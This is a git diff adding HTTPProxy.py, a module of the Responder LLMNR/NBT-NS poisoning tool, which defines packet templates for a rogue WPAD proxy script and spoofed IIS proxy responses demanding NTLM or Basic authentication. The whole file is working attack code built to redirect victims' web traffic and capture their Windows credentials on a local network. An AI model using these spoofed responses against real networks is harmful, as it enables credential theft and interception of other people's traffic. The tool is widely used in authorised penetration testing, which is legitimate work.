diff --git a/HTTPProxy.py b/HTTPProxy.py new file mode 100644 index 0000000..b1ce178 --- /dev/null +++ b/HTTPProxy.py @@ -0,0 +1,103 @@ +#! /usr/bin/env python +# NBT-NS/LLMNR Responder +# Created by Laurent Gaffie +# Copyright (C) 2013 Trustwave Holdings, Inc. +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +import struct +from odict import OrderedDict +from base64 import b64decode,b64encode + +class Packet(): + fields = OrderedDict([ + ("data", ""), + ]) + def __init__(self, **kw): + self.fields = OrderedDict(self.__class__.fields) + for k,v in kw.items(): + if callable(v): + self.fields[k] = v(self.fields[k]) + else: + self.fields[k] = v + def __str__(self): + return "".join(map(str, self.fields.values())) + +#WPAD script. the wpadwpadwpad is shorter than 15 chars and unlikely to be found. +class WPADScript(Packet): + fields = OrderedDict([ + ("Code", "HTTP/1.1 200 OK\r\n"), + ("ServerType", "Server: Microsoft-IIS/6.0\r\n"), + ("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"), + ("Type", "Content-Type: text/html\r\n"), + ("PoweredBy", "X-Powered-By: ASP.NET\r\n"), + ("ContentLen", "Content-Length: "), + ("ActualLen", "76"), + ("CRLF", "\r\n\r\n"), + ("Payload", "function FindProxyForURL(url, host){return 'PROXY wpadwpadwpad:3141; DIRECT';}"), + ]) + def calculate(self): + self.fields["ActualLen"] = len(str(self.fields["Payload"])) + +#HTTP Packet used for further NTLM auth. +class IIS_Auth_407_Ans(Packet): + fields = OrderedDict([ + ("Code", "HTTP/1.1 407 Authentication Required\r\n"), + ("Via", "Via: 1.1 SMB-TOOLKIT\r\n"), + ("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"), + ("Type", "Content-Type: text/html\r\n"), + ("WWW-Auth", "Proxy-Authenticate: NTLM\r\n"), + ("Connection", "Connection: close \r\n"), + ("PConnection", "proxy-Connection: close \r\n"), + ("Len", "Content-Length: 0\r\n"), + ("CRLF", "\r\n"), + ]) + +#HTTP Packet Granted auth. +class IIS_Proxy_Auth_Failed(Packet): + fields = OrderedDict([ + ("Code", "HTTP/1.1 500 Server Error\r\n"), + ]) + def calculate(self): + self.fields["ActualLen"] = len(str(self.fields["Payload"])) + +#HTTP NTLM packet. +class IIS_407_NTLM_Challenge_Ans(Packet): + fields = OrderedDict([ + ("Code", "HTTP/1.1 407 Authentication Required\r\n"), + ("Via", "Via: 1.1 SMB-TOOLKIT\r\n"), + ("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"), + ("Type", "Content-Type: text/html\r\n"), + ("WWWAuth", "Proxy-Authenticate: NTLM "), + ("Payload", ""), + ("Payload-CRLF", "\r\n"), + ("PoweredBy", "X-Powered-By: SMB-TOOLKIT\r\n"), + ("Len", "Content-Length: 0\r\n"), + ("CRLF", "\r\n"), + ]) + + def calculate(self,payload): + self.fields["Payload"] = b64encode(payload) + +#HTTP Basic answer packet. +class IIS_Basic_407_Ans(Packet): + fields = OrderedDict([ + ("Code", "HTTP/1.1 407 Unauthorized\r\n"), + ("ServerType", "Server: Microsoft-IIS/6.0\r\n"), + ("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"), + ("Type", "Content-Type: text/html\r\n"), + ("WWW-Auth", "Proxy-Authenticate: Basic realm=\"ISAServer\"\r\n"), + ("PoweredBy", "X-Powered-By: ASP.NET\r\n"), + ("Len", "Content-Length: 0\r\n"), + ("CRLF", "\r\n"), + ])